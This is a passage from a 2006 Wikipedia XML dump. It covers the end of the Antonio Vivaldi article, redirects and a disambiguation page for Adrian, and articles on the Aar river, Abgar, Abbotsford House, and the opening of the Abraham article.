* Opus 3, L'estro armonico (Harmonic inspiration), 12 concertos for various combinations.  Best known concerti are No. 6 in A minor for violin, No. 8 in A minor for two violins, and No. 10 in B minor for 4 violins ([[1711]])
* Opus 4, La stravaganza (The extraordinary), 12 violin concertos (c. [[1714]])
* Opus 5, (2nd part of Opus 2), 4 sonatas for violin and 2 sonatas for 2 violins and basso continuo ([[1716]])
* Opus 6, 6 violin concertos (1716-[[1721|21]])
* Opus 7, 2 oboe concertos and 10 violin concertos (1716-[[1721|21]])
* Opus 8, Il cimento dell'armonia e dell'inventione (The Contest between Harmony and Invention), 12 violin concertos, the first 4, in E, G minor, F, and F minor being known as The Four Seasons ([[The Four Seasons (Vivaldi)|Le quattro stagioni]]) ([[1725]])
* Opus 9, La cetra (The lyre), 12 violin concertos and 1 for 2 violins ([[1727]])
* Opus 10, 6 flute concertos (c. [[1728]])
* Opus 11, 5 violin concertos, 1 oboe concerto, the second in E minor, RV 277, being known as &quot;Il favorito&quot;  ([[1729]])
* Opus 12, 5 violin concertos and 1 without solo ([[1729]])
* Opus 13, Il pastor fido (The Faithful Sheperd), 6 sonatas for musette, viela, recorder, flute, oboe or violin, and basso continuo ([[1737]], spurious works by Nicolas Chédeville).

===Operas===
* [[Ottone in villa]] ([[1713]])
* [[Orlando finto pazzo]] ([[1714]])
* L'incoronazione di Dario ([[1716]])
* Il Teuzzone ([[1719]])
* [[Tito Manlio]] ([[1719]])
* La verità in cimento ([[1720]])
* Ercole sul Termodonte ([[1723]])
* Il Giustino ([[1724]])
* [[Dorilla in Tempe]] ([[1726]])
* [[Farnace]] ([[1727]])
* Orlando furioso ([[1727]])
* Rosilena ed Oronta ([[1728]])
* La fida ninfa ([[1732]])
* [[L'Olimpiade]] ([[1734]])
* Bajazet (Tamerlano) ([[1735]])
* [[Griselda (Vivaldi)|Griselda]] ([[1735]])
* Catone in Utica ([[1737]])
* Rosmira ([[1738]])

=== Concertos ===
Vivaldi wrote hundreds of concerti for various instruments.  Concertos not published in his lifetime include:

Mandolin:
* Concerto in D major, RV 93
* [[Concerto for Mandoline]] in C major, RV 425
* Concerto for two Mandolins in G major, RV 532

Recorder:
* Concerto in D major, RV 95, &quot;La pastorella&quot;
* Concerto in C minor for Treble Recorder, RV 441
* Concerto in F major for Treble Recorder, RV 442
* Concerto in C major for Sopranino Recorder, RV 443
* Concerto in C major for Sopranino Recorder, RV 444
* Concerto in A minor for Sopranino Recorder, RV 445

Trumpet:
* Concerto for Two Trumpets in C Major

===Sacred Works===
* Kyrie a 8, RV 587
* Gloria, RV 588
* [http://cftp.ist.utl.pt/~gonzalez/Music/Vivaldi.htm#Anchor-Glori-7342 Gloria], RV 588, RV 589
* Credo, RV 591
* Credo, RV 592
* Domine ad adiuvandum me, RV 593
* Beatus vir, RV 597
* Credidi propter quod, RV 605
* Laetatus sum, RV 607 
* Magnificat, RV 610
* Stabat Mater, RV 621
* Introduzione al Gloria, RV 639
* Oratorio ''Juditha triumphans'', RV 644
* Nisi Dominus, RV 803

==Media==
{{multi-listen start}}
{{multi-listen item|filename=01 - Vivaldi Spring mvt 1 Allegro - John Harrison violin.ogg|title=Vivaldi Spring mvt 1: Allegro|description=From Vivaldi's Four Seasons. John Harrison, Violin|format=[[Ogg]]}}
{{multi-listen item|filename=02 - Vivaldi Spring mvt 2 Largo - John Harrison violin.ogg|title=Vivaldi Spring mvt 2: Largo|description=From Vivaldi's Four Seasons. John Harrison, Violin|format=[[Ogg]]}}
{{multi-listen item|filename=03 - Vivaldi Spring mvt 3 Allegro - John Harrison violin.ogg|title=Vivaldi Spring mvt 3: Allegro|description=From Vivaldi's Four Seasons. John Harrison, Violin|format=[[Ogg]]}}
{{multi-listen item|filename=04 - Vivaldi Summer mvt 1 Allegro non molto - John Harrison violin.ogg|title=Vivaldi Summer mvt 1: Allegro non molto|description=From Vivaldi's Four Seasons. John Harrison, Violin|format=[[Ogg]]}}
{{multi-listen item|filename=05 - Vivaldi Summer mvt 2 Adagio - John Harrison violin.ogg|title=Vivaldi Summer mvt 2: Adagio|description=From Vivaldi's Four Seasons. John Harrison, Violin|format=[[Ogg]]}}
{{multi-listen item|filename=06 - Vivaldi Summer mvt 3 Presto - John Harrison violin.ogg|title=Vivaldi Summer mvt 3: Presto|description=From Vivaldi's Four Seasons. John Harrison, Violin|format=[[Ogg]]}}
{{multi-listen item|filename=07 - Vivaldi Autumn mvt 1 Allegro - John Harrison violin.ogg|title=Vivaldi Autumn mvt 1: Allegro|description=From Vivaldi's Four Seasons. John Harrison, Violin|format=[[Ogg]]}}
{{multi-listen item|filename=08 - Vivaldi Autumn mvt 2 Adagio molto - John Harrison violin.ogg|title=Vivaldi Autumn mvt 2: Adagio molto|description=From Vivaldi's Four Seasons. John Harrison, Violin|format=[[Ogg]]}}
{{multi-listen item|filename=09 - Vivaldi Autumn mvt 3 Allegro - John Harrison violin.ogg|title=Vivaldi Autumn mvt 3: Allegro|description=From Vivaldi's Four Seasons. John Harrison, Violin|format=[[Ogg]]}}
{{multi-listen item|filename=10 - Vivaldi Winter mvt 1 Allegro non molto - John Harrison violin.ogg|title=Vivaldi Winter mvt 1: Allegro non molto|description=From Vivaldi's Four Seasons. John Harrison, Violin|format=[[Ogg]]}}
{{multi-listen item|filename=11 - Vivaldi Winter mvt 2 Largo - John Harrison violin.ogg|title=Vivaldi Winter mvt 2: Largo|description=From Vivaldi's Four Seasons. John Harrison, Violin|format=[[Ogg]]}}
{{multi-listen item|filename=12 - Vivaldi Winter mvt 3 Allegro - John Harrison violin.ogg|title=Vivaldi Winter mvt 3: Allegro|description=From Vivaldi's Four Seasons. John Harrison, Violin|format=[[Ogg]]}}
{{multi-listen end}} 

==Selected historically informed performance ensembles specialising in Vivaldi==
* ''[[Europa Galante]]''
* ''[[Concerto Italiano]]''
* ''[[Il Giardino Armonico]]''

==References and further reading==
* Eleanor Selfridge-Field ([[1994]]). ''Venetian Instrumental Music, from Gabrieli to Vivaldi.'' New York, Dover Publications. ISBN 0486281515
* [[Manfred Bukofzer]] ([[1947]]). ''Music in the Baroque Era''. New York, W.W. Norton &amp; Co. ISBN 0393097455

==External links==
{{Commons|Antonio Vivaldi}}
* [http://www.playbillarts.com/news/article/2341.html Two Vivaldi biopics may duel at the box office]
* [http://news.yahoo.com/s/nm/20050809/en_nm/arts_vivaldi_australia_dc New Vivaldi work heard for first time in 250 years]
* [http://www.pianoparadise.com/vivaldi.html Vivaldi biography and sheet music]
* {{IckingArchive|idx=Vivaldi|name=Antonio Vivaldi}}
* [http://www.kantoreiarchiv.de/archiv/choir_orchestra/gloria/vivaldi/ Gloria (Free sheet music)]
* [http://www.kantoreiarchiv.de/archiv/choir_orchestra/magnificat/vivaldi/ Magnificat (Free sheet music)]

[[Category:1678 births|Vivaldi]]
[[Category:1741 deaths|Vivaldi]]
[[Category:Baroque composers|Vivaldi]]
[[Category:Classical violinists|Vivaldi]]
[[Category:Italian composers|Vivaldi]]
[[Category:Natives of Venice|Vivaldi]]
[[Category:Opera composers|Vivaldi]]
[[Category:Roman Catholic priests|Vivaldi]]

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[[la:Antonius Vivaldi]]
[[lt:Antonijus Vivaldis]]
[[hu:Antonio Vivaldi]]
[[nl:Antonio Vivaldi (componist)]]
[[ja:アントニオ・ヴィヴァルディ]]
[[no:Antonio Vivaldi]]
[[nn:Antonio Vivaldi]]
[[pl:Antonio Vivaldi]]
[[pt:Antonio Vivaldi]]
[[ro:Antonio Vivaldi]]
[[ru:Вивальди, Антонио]]
[[sl:Antonio Vivaldi]]
[[sr:Антонио Вивалди]]
[[fi:Antonio Vivaldi]]
[[sv:Antonio Vivaldi]]
[[th:อานโตนิโอ วิวัลดิ]]
[[tr:Antonio Vivaldi]]
[[uk:Вівальді Антоніо]]</text>
    </revision>
  </page>
  <page>
    <title>Adrian II</title>
    <id>1426</id>
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      <id>15899910</id>
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      <text xml:space="preserve">#REDIRECT [[Pope Adrian II]]
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  </page>
  <page>
    <title>Adrian III</title>
    <id>1427</id>
    <revision>
      <id>15899911</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
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      <text xml:space="preserve">#REDIRECT [[Pope Adrian III]]
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  </page>
  <page>
    <title>Adrian</title>
    <id>1428</id>
    <revision>
      <id>38963719</id>
      <timestamp>2006-02-09T20:40:17Z</timestamp>
      <contributor>
        <username>Tedernst</username>
        <id>3700</id>
      </contributor>
      <comment>remove wikilink per [[MoS:DP]]</comment>
      <text xml:space="preserve">'''Adrian''' can refer to:
*[[Adrian, Ontario]], Canada
*[[Hurricane Adrian]], a 2005 tropical cyclone
*[[Adrian helmet]], French Army steel helmet
Popes:
*[[Adrian I]], Pope from 772 to 795
*[[Adrian II]], Pope from 867 to 872
*[[Adrian III]], Pope from 884 to 885
*[[Adrian IV]], Pope from 1154 to 1159
*[[Adrian V]], Pope in 1276
*[[Adrian VI]], Pope from 1522 to 1523

Other notable people:
*[[Adrian of Nicomedia]], a saint martyred in the early 300s &lt;!-- 303 or 304, it says --&gt;
*[[Adrian Dantley]] (born 1956), retired basketball player
*[[Adrian Greenburg]] (1903-1959), costume designer best known for ''The Wizard of Oz''
*[[Adrian Griffin]] (born 1974), professional basketball player
*[[Adrian Lamo]] (born 1981) journalist and convicted computer hacker.

Places in the United States:
*[[Adrian, Georgia]]
*[[Adrian, Illinois]]
*[[Adrian, Michigan]]
*[[Adrian, Minnesota]]
*[[Adrian, Missouri]]
*[[Adrian, North Dakota]]
*[[Adrian, New York]]
*[[Adrian, Ohio]]
*[[Adrian, Oregon]]
*[[Adrian, Pennsylvania]]
*[[Adrian, South Carolina]]
*[[Adrian, Texas]]
*[[Adrian, Virgin Islands]]
*[[Adrian, Washington]]
*[[Adrian, West Virginia]]
*[[Adrian, Wisconsin]]
*[[Adrian Township, Kansas]]
*[[Adrian Township, Michigan]]
*[[Adrian Township, Minnesota]]
*[[Adrian Township, North Dakota]]
*[[Adrian Township, South Dakota]]

{{disambig}}

[[de:Adrian]]
[[el:Αδριανός]]
[[fr:Adrien]]
[[hu:Adrián]]
[[io:Adrian]]
[[la:Adrianus]]
[[pl:Adrian]]
[[ru:Адриан]]
[[sk:Adrián]]
[[sv:Adrian]]</text>
    </revision>
  </page>
  <page>
    <title>Adrian IV</title>
    <id>1429</id>
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      <id>15899913</id>
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  <page>
    <title>Adrian V</title>
    <id>1430</id>
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      <id>15899914</id>
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  <page>
    <title>Adrian VI</title>
    <id>1431</id>
    <revision>
      <id>15899915</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
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  </page>
  <page>
    <title>Adriatic sea</title>
    <id>1432</id>
    <revision>
      <id>15899916</id>
      <timestamp>2002-09-28T14:55:20Z</timestamp>
      <contributor>
        <username>Vicki Rosenzweig</username>
        <id>59</id>
      </contributor>
      <comment>reversing redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Adriatic Sea]]</text>
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  </page>
  <page>
    <title>Aar</title>
    <id>1433</id>
    <revision>
      <id>41034426</id>
      <timestamp>2006-02-24T17:03:44Z</timestamp>
      <contributor>
        <username>Mmounties</username>
        <id>779931</id>
      </contributor>
      <comment>Add Navigation Template</comment>
      <text xml:space="preserve">{{Otherusesabout|a river in Switzerland}}
The '''Aar''' ([[German language|German]]: ''Aare'') is the longest [[river]] that both rises and ends entirely within [[Switzerland]].  

Its total length from its source to its junction with the [[Rhine]] comprises about 291 km (181 miles), during which distance it descends 1,565m (5,135 feet), draining an area of [[1 E10 m²|17,620 km²]] (6,804 square miles).

The Aar rises in the great [[Aar glaciers]] in the [[Canton of Bern|canton of Bern]] and west of the [[Grimsel Pass]]. It runs east to the Grimsel [[Hospice]], and then northwestery through the [[Hasli]] valley, forming on the way the magnificent Handegg Waterfall, 46 m (151 feet), past [[Guttannen]], and piercing the limestone barrier of the Kirchet by a major [[Canyons of Switzerland|canyon]], before reaching [[Meiringen]], situated in a plain.  A little past Mieringen, near [[Brienz]], the river expands into [[Lake Brienz]] where it becomes navigable. Near the west end of the lake it receives its first important affluent, the [[Lütschine]]. It then runs across the swampy plain of the Bödeli between [[Interlaken]] and [[Unterseen]] before expanding once again into [[Lake Thun]].  

[[Image:Aare_river_in_Bern.jpg|thumb|right|Aare in Bern]]
Near the west end of Lake Thun, the river receives the waters of the [[Kander]], which has just been joined by the [[Simme]]. On flowing out of the lake it passes [[Thun]], and then circles a lofty bluff on which stands the town of [[Bern]]. The river soon changes its northwesterly flow for a due westerly direction, but after receiving the [[Sanne|Saane or Sarine]] it turns north until it nears Aarberg. There, in one of the major Swiss engineering feats of the [[19th century]] the river, which had previously rendered the countryside north of Bern a swampland through frequent floodings, was diverted by the [[Hagneck Canal]] into [[Lake Biel]]. From the upper end of the lake the river issues through the Nidau Canal and then runs east to [[Büren]]. The lake absorbs huge amounts of eroded gravels and snowmelt thet the river brings from the Alps and the former swamps have become fruitful plains: they are known as the &quot;vegetable garden of Switzerland&quot;.

[[Image:Forest_route_near_Aare.jpg|thumb|left|Forest route near Aare]]
From here the Aar flows northeast for a long distance, past the ambassador town [[Solothurn]] (below which the Grosse [[Emme]] flows in on the right), Aarburg (where it is joined by the Wigger), [[Olten]], [[Aarau]], near which is the junction with the Suhr, and Wildegg, where the Hallwiler Aa falls in on the right.  A short distance further, below [[Brugg]] it receives first the [[Reuss River|Reuss]], and shortly afterwards the [[Limmat]]. It now turns due north, and soon becomes itself an affluent of the [[Rhine]], which it surpasses in volume when the two rivers unite at [[Koblenz, Switzerland|Coblenz (Switzerland)]], opposite [[Waldshut]], Germany.

==List of [[Tributary|Tributaries]]==
*[[Limmat]]
**[[Linth]] (main tributary of [[Lake Zürich]])
**[[Sihl]]
*[[Reuss River]]
**[[Kleine Emme]]
**[[Sarner Aa]]
**[[Engelberger Aa]]
**[[Schächen]]
**[[Furkareuss]]
*[[Suhr]]
*[[Wigger (river)|Wigger]]
*[[Emme]]
*[[Zihlkanal]] 
**[[Suze]]
**[[Broye]]
**[[Orbe]]
*[[Saane]] (Sarine)
**[[Sense]]
*[[Kander]]
**[[Simme]]
**[[Allenbach]]
*[[Lütschine]]

==External links==
{{Wikisource1911Enc|Aar}}
*[http://www.aareschlucht.ch/english/einfuehrung_e.htm Gorge of the Aar]

{{Template:Rhine Tributaries}}

[[Category:Rivers of Switzerland]]
[[Category:Canyons of Switzerland]]

[[ca:Aar]]
[[da:Aare]]
[[de:Aare]]
[[et:Aare jõgi]]
[[als:Aare]]
[[es:Aar]]
[[fr:Aar]]
[[gl:Aar]]
[[it:Aar (fiume)]]
[[ja:アーレ川]]
[[nl:Aare]]
[[pl:Aare]]
[[pt:Rio Aar]]
[[ru:Ааре (река)]]
[[fi:Aar]]
[[sv:Aare]]
[[zh:阿勒河]]</text>
    </revision>
  </page>
  <page>
    <title>Abgar</title>
    <id>1434</id>
    <revision>
      <id>39929202</id>
      <timestamp>2006-02-16T22:10:23Z</timestamp>
      <contributor>
        <username>Sebb-fr</username>
        <id>896644</id>
      </contributor>
      <comment>fr</comment>
      <text xml:space="preserve">{{mergeto|Abgarus of Edessa}}
'''Abgar''' or '''Agbar''' was the favored name among a dynasty of local rulers at [[Edessa, Mesopotamia|Edessa]] in northern Mesopotamia, the most famous of whom figured in the forged correspondence with Jesus, accepted as genuine in [[Eusebius of Caesarea]]'s ''Ecclesiastical History'' and extensively quoted. The story of the conversion of Abgar to Christianity is traditionally linked to [[Abgarus of Edessa|Abgar V]], but Walter Bauer made a case for the Abgarus who converted being Abgar IX.

==References==

*[[Walter Bauer]], ''Orthodoxy and Heresy in Earliest Christianity'', 1934, (in English 1971) ([http://ccat.sas.upenn.edu/~humm/Resources/Bauer/bauer01.htm#FN1 On-line text]
*Robert Eisenman, ''James the Brother of Jesus : The key to Unlocking the Secrets of Early Christianity and the Dead Sea Scrolls,'' 1997 (Viking Penguin). Especially thje section &quot;Thaddeus, Judas Thomas and the conversion of the [[Edessa, Mesopotamia|Osrhoeans]]&quot;, pp 189ff.

[[Category:Christian legend and folklore]]

[[ru:Абгар]]
[[fr:Abgar]]</text>
    </revision>
  </page>
  <page>
    <title>Abbotsford House</title>
    <id>1435</id>
    <revision>
      <id>42056735</id>
      <timestamp>2006-03-03T14:31:55Z</timestamp>
      <contributor>
        <ip>217.150.108.178</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Abbotsford Morris edited.jpg|thumb|300px|right|Abbotsford in 1880.]]
'''Abbotsford''' is a [[historic house]] in the region of [[Scottish Borders]] in the south of [[Scotland]], near [[Melrose, Scotland|Melrose]], on south bank of the [[River Tweed]]. It was formerly the residence of novelist [[Walter Scott]]. 

The nucleus of the estate was a small farm of 100 acres (0.4&amp;nbsp;km&amp;sup2;), called Cartleyhole, nicknamed Clarty (i.e., muddy) Hole, and bought by Scott on the lapse of his lease ([[1811]]) of the neighbouring house of Ashestiel. He at first built a small villa (now the western end of the house) and named it Abbotsford, creating the name from a ford near by where previously abbots of [[Melrose Abbey]] used to cross the river. Scott then built additions to the house and made it into a mansion, building into the walls many sculptured stones from ruined castles and abbeys of Scotland. In it he gathered a large library, and a collection of ancient [[furniture]], arms and armour, and other relics and curiosities, especially connected with [[Scottish history]].

The last and principal acquisition being that of Toftfield (afterwards named Huntlyburn), purchased in [[1817]].  The new house was then begun and completed in [[1824]].  

The general ground-plan is a parallelogram, with irregular outlines, one side overlooking the Tweed; and the style is mainly the [[Scottish Baronial]].  Into various parts of the fabric were built relics and curiosities from historical structures, such as the doorway of the old Tolbooth in [[Edinburgh]].  

Scott had only enjoyed his residence one year when ([[1825]]) he met with that reverse of fortune which involved the estate in debt.  In [[1830]] the library and museum were presented to him as a free gift by the creditors.  The property was wholly disencumbered in [[1847]] by Robert Cadell, the publisher, who cancelled the bond upon it in exchange for the family's share in the copyright of Sir Walter's works.  

[[Image:Wfm abbotsford.jpg|thumb|right|300px|Abbotsford House (north elevation)]]

Scott's only son Walter did not live to enjoy the property, having died on his way from [[India]] in [[1847]].  Among subsequent possessors were Scott's son-in-law, J. G. Lockhart, J. R. Hope Scott, [[Q.C.]], and his daughter (Scott's great-granddaughter), the Hon. Mrs Maxwell Scott.  

Abbotsford gave its name to the &quot;Abbotsford Club,&quot; a successor of the [[Bannatyne Club|Bannatyne]] and Maitland clubs, founded by W. B. D. D. Turnbull in [[1834]] in Scott's honour, for printing and publishing historical works connected with his writings.  Its publications extended from [[1835]] to [[1864]].

The house continued to be occupied by Scott's descendents for several generations, and was opened to the public in recent times. However in 2005 it was announced that following the death of Dame Jean Maxwell Scott, the great, great, great grand-daughter of the writer the previous year, it was not possible for any family member to live at Abbotsford. [[Historic Scotland]] and the [[National Trust for Scotland]] are attempting to secure the house's future.  However, Scottish Borders Council are considering an  
application by a property developer to build a housing estate on the opposite bank of the River Tweed from Abbotsford.  If the council give this development the go ahead it will forever ruin the views Sir Walter enjoyed from his study. [http://www.timesonline.co.uk/newspaper/0,,173-1617987,00.html]
[http://news.scotsman.com/scotland.cfm?id=2357362005]
{{commonscat}}
{{Wikisource1911Enc|Abbotsford}}

[[Category:Buildings and structures in the Scottish Borders]]
[[Category:Scottish Borders history]]
[[Category:Historic houses in Scotland]]

[[fr:Abbotsford (Écosse)]]
[[pl:Abbotsford]]</text>
    </revision>
  </page>
  <page>
    <title>Abraham</title>
    <id>1436</id>
    <revision>
      <id>42096872</id>
      <timestamp>2006-03-03T20:30:04Z</timestamp>
      <contributor>
        <ip>60.50.201.218</ip>
      </contributor>
      <text xml:space="preserve">{{citation style}} 
{{Redirect|Abram}} 

'''Abraham''' ('''אַבְרָהָם''' &quot;Father/Leader of many&quot;, (circa 1900 BCE) [[Standard Hebrew]] '''Avraham''',  [[Tiberian Hebrew]] '''{{IPA|ʾAḇrāhām}}'''; [[Arabic language|Arabic]] '''ابراهيم''' '''{{IPA|Ibrāhīm}}'''; [[Geez]] አብርሃም '''{{IPA|ʾAbrəham}}''') is regarded as a [[patriarch]] of Israelite religion, recognized by [[Judaism]] and later [[Christianity]], and a very important [[prophet]] in [[Islam]] as well as in the [[Baha'i Faith]]. Traditions regarding his life are given in the [[Book of Genesis]] and also in the [[Qur'an]].

Judaism, Christianity, and Islam are sometimes referred to as the &quot;[[Abrahamic religion]]s&quot;, because of the role Abraham plays in their holy books and beliefs. In the [[Hebrew Bible]] and the [[Qur'an]], Abraham is described as a patriarch blessed by God (the Jewish people called him &quot;Father Abraham&quot;), and [[promise]]d great things, father of the People of Israel through his son [[Isaac]]; the Muslims regard [[Ishmael]] as the father of the [[Arab]]s.  In Islam, Abraham is considered to be one of the most important of the many prophets sent by God. In Christian belief, Abraham is a model of faith, and his intention to obey God by offering up Isaac is seen as a foreshadowing of God's offering of his son, [[Jesus]]. In Islamic belief, Abraham obeyed God by offering up Ishmael.

His original name was '''Abram''' ('''אַבְרָם''' &quot;High/Exalted father/leader&quot;, [[Standard Hebrew]] '''Avram''', [[Tiberian Hebrew]] '''ʾAḇrām'''); he was the foremost of the [[Bible|Biblical]] [[Patriarchs (Bible)|patriarchs]]. Later in life he went by the name Abraham. There is no contemporary mention of his life, and no source earlier than ''Genesis'' mentions him. 

According to calculations derived from the [[Masoretic]] Hebrew [[Torah]], Abraham was born 1,948 years after creation and lived for 175 years, which would correspond to a life spanning from 1812 [[Common Era|BCE]] to 1637 [[Common Era|BCE]] by Jewish dating; or from 2166 [[Common Era|BCE]] to 1991 [[Common Era|BCE]] by other calculations. The figures in the [[book of Jubilees]] have Abraham born 1,876 years after creation, and 534 years before the Exodus; the ages provided in the [[Samaritan Pentateuch|Samaritan version of Genesis]] agree closely with those of Jubilees before the Deluge, but after the Deluge, they add roughly 100 years to each of the ages of the Patriarchs in the Masoretic Text, resulting in the figure of 2,247 years after creation for Abraham's birth.  The Greek [[Septuagint]] version adds around 100 years to nearly ''all'' of the patriarchs' births, producing the even higher figure of 3,312 years after creation for Abraham's birth.

[[Image:Abraham.jpg|thumb|300px|right|&quot;Abraham Sacrificing Isaac&quot; by Laurent de LaHire, 1650]]

==Abraham in Judaism==
The account of his life is found in the Book of [[Genesis]], beginning in Chapter 11, at the close of a [[genealogy]] of the sons of [[Shem]] (which includes among its members [[Eber]], the [[eponym]] of the [[Hebrews]]).

His father [[Terah]] came from [[Ur]] of the [[Chaldea|Chaldees]], popularly identified only since 1927 (thanks to Sir [[Charles Woolley]]) with the ancient city in southern [[Mesopotamia]] which was under the rule of the Chaldeans &amp;mdash; although [[Josephus]], Islamic tradition and Jewish authorities like Maimonides all concur that [[Ur-Of-The-Khaldis]] was in Northern Mesopotamia (where is now [[Kurdistan]]) (Identified with [[Urartu]], [[Urfa]], and [[Kutha]] respectively). This is in keeping with the local tradition that Abraham was born in Urfa; or with the nearby [[Urkesh]], which others identify with &quot;Ur of the Chaldees&quot;. They also say &quot;Chaldees&quot; refers to a group of gods called [[Khaldis]]. Abram migrated to [[Harran]], apparently the classical [[Carrhae]], on a branch of the [[Habor]]. Thence, after a short stay, he, his wife [[Sarah|Sarai]], [[Lot (biblical)|Lot]] (the son of Abram's brother [[Haran]]), and all their followers, departed for [[Canaan]]. There are two cities possibly identifiable with the biblical Ur, neither far from Haran: Ura and Urfa, a northern Ur also being mentioned in tablets at [[Ugarit]], [[Nuzi]], and [[Ebla]]. These possibly refer to Ur, Ura, and Urau (See ''BAR'' January 2000, page 16). Moreover, the names of Abram's forefathers [[Peleg]], [[Serug]], [[Nahor]], and Terah, all appear as names of cities in the region of Haran (''Harper's Bible Dictionary'', page 373). [[Yahweh]] called Abram to go to &quot;the land I will show you&quot;, and promised to bless him and make him (though hitherto childless) a great nation. Trusting this promise, Abram journeyed down to [[Shechem]], and at the sacred tree (compare Gen. 25:4, [[Book of Joshua|Joshua]] 24:26, [[Book of Judges|Judges]] 9:6) received a new promise that the land would be given unto his seed (descendant or descendants). Having built an [[altar]] to commemorate the [[theophany]], he removed to a spot between [[Bethel]] and [[Ai (biblical)|Ai]], where he built another altar and called upon (i.e. invoked) the name of Yahweh (Gen. 12:1-9).

Here he dwelt for some time, until strife arose between his herdsmen and those of Lot. Abram thereupon proposed to Lot that they should separate, and allowed his nephew the first choice. Lot preferred the fertile land lying east of the [[Jordan River]], while Abram, after receiving another promise from Yahweh, moved down to the oaks of [[Mamre]] in [[Hebron]] and built an altar.

In the subsequent history of Lot and the destruction of [[Sodom and Gomorrah]], Abram appears prominently in a passage where he intercedes with Yahweh on behalf of Sodom, and is promised that if ten righteous men can be found therein, the city shall be preserved (18:16-33).

Driven by a [[famine]] to take refuge in [[Egypt]] (26:11, 41:57, 42:1), Abram feared lest his wife's beauty should arouse the evil designs of the [[Ancient Egypt|Egyptians]] and thus endanger his own safety, and alleged that Sarai was his sister. This did not save her from the [[Pharaoh]], who took her into the royal [[harem]] and enriched Abram with herds and servants. But when Yahweh &quot;plagued Pharaoh and his house with great [[Plagues of Egypt|plagues]]&quot; Abram and Sarai left Egypt.

There are two other parallel tales in Genesis of [[a wife confused for a sister]] (Genesis 20-21 and 26) describing a similar event at Gerar with the [[Philistine]] king Abimelech, though the latter attributing it to Isaac not Abraham.

As Sarai was infertile, God's promise that Abram's seed would inherit the land seemed incapable of fulfillment.  His sole heir was his servant, who was over his household, a certain [[Eliezer of Damascus]] (15:2). Abraham is now promised as heir one of his own flesh. The passage recording the ratification of the promise is remarkably solemn (see [[Genesis]] 15).

Sarai, in accordance with custom, gave to Abram her Egyptian handmaid [[Hagar]], who, when she found she was with child, presumed upon her position to the extent that Sarai, unable to endure the reproach of barrenness (cf. the story of [[Hannah]], [[Books of Samuel|1 Samuel]] 1:6), dealt harshly with her and forced her to flee (16:1-14).  Hagar is promised that her descendants will be too numerous to count, and she returns. Her son [[Ishmael]] thus was Abram's [[firstborn]] (and [[Islam]]ic doctrine holds that he was the rightful [[heir]]). Hagar and Ishmael were eventually driven permanently away from Abram by Sarah (chapter 21).

The name ''Abraham'' was given to Abram (and the name [[Sarah]] to Sarai) at the same time as the covenant of [[circumcision]] (chapter 17), which is practiced in [[Judaism]] and [[Islam]] to this day. At this time Abraham was promised not only many descendants, but descendants through Sarah specifically, as well as the land where he was living, which was to belong to his descendants. The covenant was to be fulfilled through [[Isaac]], though God promised that Ishmael would become a great nation as well. The covenant of circumcision (unlike the earlier promise) was two-sided and conditional: if Abraham and his descendants fulfilled their part of the covenant, Yahweh would be their God and give them the land.

The promise of a son to Abraham made Sarah &quot;laugh,&quot; which became the name of the son of promise, Isaac. Sarah herself &quot;laughs&quot; at the idea, when Yahweh appears to Abraham at Mamre (18:1-15) and, when the child is born, cries &quot;God hath made me laugh; every one that heareth will laugh at me&quot; (21:6).

In Genesis 18, Abraham pleads with God not to destroy [[Sodom]], and God agrees that he would not destroy the city if there were 50 righteous people in it, or 45, or 30, 20, even 10 righteous people. (Abraham's nephew [[Lot (biblical)|Lot]] had been living in Sodom.)

Some time after the birth of Isaac, Abraham was commanded by God to offer his son up as a sacrifice in the land of [[Moriah]]. Proceeding to obey, he was prevented by an [[angel]] as he was about to sacrifice his son, and slew a [[Domestic sheep|ram]] which he found on the spot. As a reward for his obedience he received another promise of a numerous seed and abundant prosperity (22). Then he returned to [[Beersheba]]. The [[Binding of Isaac|near sacrifice of Isaac]] is one of the most challenging, and perhaps [[ethics|ethic]]ally troublesome, parts of the Bible.  

According to Josephus, Isaac is 25 years old at the time of the sacrifice or ''Akedah'', while the [[Talmud]]ic sages teach that Isaac is 37. In either case, Isaac is a fully grown man, old enough to prevent the elderly Abraham (who is 125 or 137 years old) from tying him up had he wanted to resist. 

The primary interest of the narrative now turns to Isaac. To his &quot;only son&quot; (22:2, 12) Abraham gave all he had, and dismissed the sons of his concubines to the lands outside [[Canaan]]; they were thus regarded as less intimately related to [[Isaac]] and his descendants (25:1-6). See also: [[Midianites]], [[Sheba]].

Sarah died at an old age, and was buried in the [[Cave of Machpelah]] near [[Hebron]], which Abraham had purchased, along with the adjoining field, from [[Ephron the Hittite]] (Genesis 23). Here Abraham himself was buried.  Centuries later the tomb became a place of [[pilgrimage]] and [[Muslim]]s later built an [[Islam]]ic [[mosque]] inside the site.

Abraham is considered the father of the Jewish nation, as their first Patriarch, and having a son (Isaac), who in turn begat [[Jacob]], and from there the [[Israelite|Twelve Tribes]]. To father the nation, God &quot;tested&quot; Abraham with ten tests, the greatest being his willingness to sacrifice his son Isaac. God promised the land of Israel to his children, and that is the first claim of the Jews to Israel.

Judaism ascribes a special trait to each Patriarch. Abraham's had kindness. Because of this, Judaism considers kindness to be an inherent Jewish trait.

Jewish tradition teaches the origins of Abraham's [[monotheism]]. His father Terah owned a store that sold idols. Abraham, at the age of three, started to question their authenticity. This culminated in Abraham destroying some idols.

Abraham was then brought to the king, and sentenced to death, along with his brother Haran, unless they recanted their position. Abraham did not, and was thrown into a fire. When Abraham exited unscathed, Haran also would not recant, and was thrown into the fire. Haran, who did not truly believe, died in the fire. This is hinted at in Genesis 11:28.

Abraham then went to the city of Haran with his father and brother. His father died there. God spoke to Abraham for the first time, and told him of great things He would give him if he would leave Haran. Abraham did. He was seventy-five during this time.

Abraham started a school for teaching his beliefs in God, and some say he wrote the [[Sefer Yetzirah]].

== Abraham in Christianity ==
Abraham stands out prominently as the recipient of the promises (Gen. 12:2-7, 13:14-17, 15, 17, 18:17-19, 22:17-18, 24:7). In the [[New Testament]] Abraham is mentioned prominently as a man of [[faith]] (see e.g., [[Epistle to the Hebrews|Hebrews]] 11), and the apostle [[Paul of Tarsus|Paul]] uses him as an example of [[salvation]] by faith (in e.g. [[Epistle to Galatians|Galatians]] 3).  Abraham also plays significantly in the theology of [[Paul]] as the progenator of the [[Christ]] (or [[Messiah]]) (see [[Galatians]] 3:16).

